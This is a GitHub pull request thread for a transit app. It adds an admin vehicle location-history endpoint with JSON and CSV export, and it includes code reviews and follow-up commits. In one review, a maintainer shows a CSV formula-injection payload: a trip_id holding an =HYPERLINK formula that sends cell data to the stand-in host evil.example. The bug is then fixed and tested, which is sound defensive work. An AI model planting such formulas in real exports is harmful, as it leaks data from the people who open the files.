add admin location history endpoint with JSON and CSV export - #86
Conversation
|
Warning Review limit reached
Next review available in: 20 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Plus Run ID: 📒 Files selected for processing (10)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Code reviewFound 1 issue:
vehicle-positions/location_history_handlers.go Lines 146 to 152 in c7927dc Auth gating, the sqlc regeneration, timestamp units (seconds, matching the ingest path), UTC formatting of 🤖 Generated with Claude Code - If this code review was useful, please react with 👍. Otherwise, react with 👎. |
aaronbrethorst
left a comment
There was a problem hiding this comment.
Divesh, this is a well-built endpoint and you addressed every item from the #70 review — the auth gating, the bounded default from, the sqlc regeneration, and the received_at JSON tag are all there. The composite index on (vehicle_id, timestamp DESC) is the right index for this query. I checked the timestamp units (seconds, matching the ingest path), the UTC formatting, the 1000-row cap, and the nil-vs-zero handling for the nullable floats, and they all hold up.
One thing blocks the merge, and it's a real bug rather than a nitpick.
Blocker: CSV formula injection via trip_id
writeCSV writes p.TripID verbatim into record[6]. I traced the field end to end: LocationReport.validate() in handlers.go validates vehicle_id (length + regex), lat/lon, and timestamp — but never touches TripID, and store.go passes it straight through to location_points.trip_id.
So any authenticated driver can POST a location with:
{"trip_id": "=HYPERLINK(\"https://evil.example/?d=\"&A1,\"click\")"}…and it lands unescaped in the export. encoding/csv quotes commas, quotes, and newlines, but it does nothing about a leading =, +, -, or @ — those are formula prefixes, and Excel, LibreOffice, and Sheets will evaluate them when an admin opens the download. That's a lower-privileged user injecting executable content into an admin-only artifact.
The vehicle ID in Content-Disposition is fine, incidentally — it's regex-validated. It's specifically trip_id that never is.
Either fix works:
- Escape on write — prefix any cell starting with
=,+,-,@, tab, or CR with a single quote inwriteCSV. Contained to this PR. - Validate at ingest — reject those leading characters on
trip_idinvalidate(). Cleaner long-term, but it won't sanitize rows already in the table.
I'd lean toward (1) here, possibly both. A test that round-trips a =-prefixed trip_id through the CSV path would pin it.
Non-blocking, worth a look
- Silently truncated CSV.
defer writer.Flush()discards the flush error andwriter.Error()is never checked, so a write failure afterWriteHeader(200)produces a truncated file with a success status and no log line. Only fires on a broken connection, but it's a silent failure. - The new index takes an
ACCESS EXCLUSIVElock. PlainCREATE INDEXonlocation_points— the hot ingest table — blocks writes for the duration.CONCURRENTLYisn't viable inside golang-migrate's transaction, so this may be a deliberate accept; just flagging it since the table only grows. It also drops theIF NOT EXISTSthat every other migration in the repo uses. - No truncation signal. When
count == limitthe client can't tell whether more data exists. Ahas_moreflag or a cursor would make the cap usable rather than silently lossy. ?to=alone gives a confusing 400.fromdefaults tonow-86400, so passing only atoin the past trips thefrom > tocheck instead of doing what the caller meant.
Fix the injection and I'll re-review — the rest of this is in good shape.
|
Heads up on top of the review above: #87 just landed on The resolution is small — your route line moves into mux.Handle("GET /api/v1/admin/vehicles/{vehicleID}/locations", authMiddleware(adminMiddleware(handleGetLocationHistory(store, store))))One extra step, though:
No re-review needed for the rebase itself — just the CSV escaping from the review above. |
… default, index, test fixes
…400, FK-safe test cleanup
c7927dc to
1293012
Compare
Code reviewNo issues found. Checked for bugs and CLAUDE.md compliance. 🤖 Generated with Claude Code |
aaronbrethorst
left a comment
There was a problem hiding this comment.
This closes it out — thank you for the fast turnaround. I verified the fix end to end: sanitizeCSVCell covers exactly the prefix set from the review (=, +, -, @, tab, CR), trip_id is the only free-form cell that needed it, and the round-trip test pushing a =HYPERLINK(...) payload through the CSV path pins the fix in place. The doc comment explaining why numeric cells are exempt is a nice touch.
The rebase onto #87 is clean too: the route sits in newMux behind both middleware layers, and adding it to the two table-driven wiring tests means the admin gating on this endpoint is now pinned the same way as the other routes. You also picked up every non-blocking item — has_more, the to-relative from default, the checked Flush(), and IF NOT EXISTS on the migration.
Approving and merging. One thought for a future PR, no action needed here: the CSV format has no equivalent of has_more, so a CSV consumer that gets exactly limit rows can't tell whether the export was truncated. An X-Has-More response header would close that gap.
…ebase Rebased onto 08cc246. Two routes landed on main since the approval and the guard failed on both, which is the guard doing its job: GET /api/v1/admin/vehicles/{vehicleID}/locations (OneBusAway#86) GET /api/v1/vehicles (OneBusAway#89) The review note only mentioned the first. OneBusAway#89 merged two days later and added the second, a driver-facing listing wrapped in authMiddleware but not adminMiddleware — so it documents 401 without 403, and the auth guard enforces that difference rather than leaving it to review. Location history is documented from location_history_handlers.go: the from/to/limit/format query parameters, the 24h default window that hangs off `to` rather than now, has_more derived from reading one row past the limit, the 404 for an unknown vehicle, and both the JSON and text/csv representations including the CSV header and the formula-injection prefix on trip_id. LocationHistoryEntry marks bearing, speed, and accuracy required and nullable, matching the Go struct's pointers without omitempty — a bearing of 0 is due north, not a missing reading. limit's bounds moved into a named HistoryLimit schema so the constants guard has a stable address, and it now pins maxHistoryLimit and defaultHistoryLimit alongside the vehicle-id and field-length constants. Verified by mutation, as with the others. AssignmentVehicleIDPath is renamed VehicleIDPathNamed, since location history spells its path variable {vehicleID} too and the component is no longer assignment-specific. Docs and tests only; no production Go changed.
…ebase Rebased onto 08cc246. Two routes landed on main since the approval and the guard failed on both, which is the guard doing its job: GET /api/v1/admin/vehicles/{vehicleID}/locations (OneBusAway#86) GET /api/v1/vehicles (OneBusAway#89) The review note only mentioned the first. OneBusAway#89 merged two days later and added the second, a driver-facing listing wrapped in authMiddleware but not adminMiddleware — so it documents 401 without 403, and the auth guard enforces that difference rather than leaving it to review. Location history is documented from location_history_handlers.go: the from/to/limit/format query parameters, the 24h default window that hangs off `to` rather than now, has_more derived from reading one row past the limit, the 404 for an unknown vehicle, and both the JSON and text/csv representations including the CSV header and the formula-injection prefix on trip_id. LocationHistoryEntry marks bearing, speed, and accuracy required and nullable, matching the Go struct's pointers without omitempty — a bearing of 0 is due north, not a missing reading. limit's bounds moved into a named HistoryLimit schema so the constants guard has a stable address, and it now pins maxHistoryLimit and defaultHistoryLimit alongside the vehicle-id and field-length constants. Verified by mutation, as with the others. AssignmentVehicleIDPath is renamed VehicleIDPathNamed, since location history spells its path variable {vehicleID} too and the component is no longer assignment-specific. Docs and tests only; no production Go changed.
Summary
Implements location history and CSV export for admin vehicle analytics, as specified in README Section 3.3 Admin Capabilities:
Supersedes #70 - all review feedback addressed.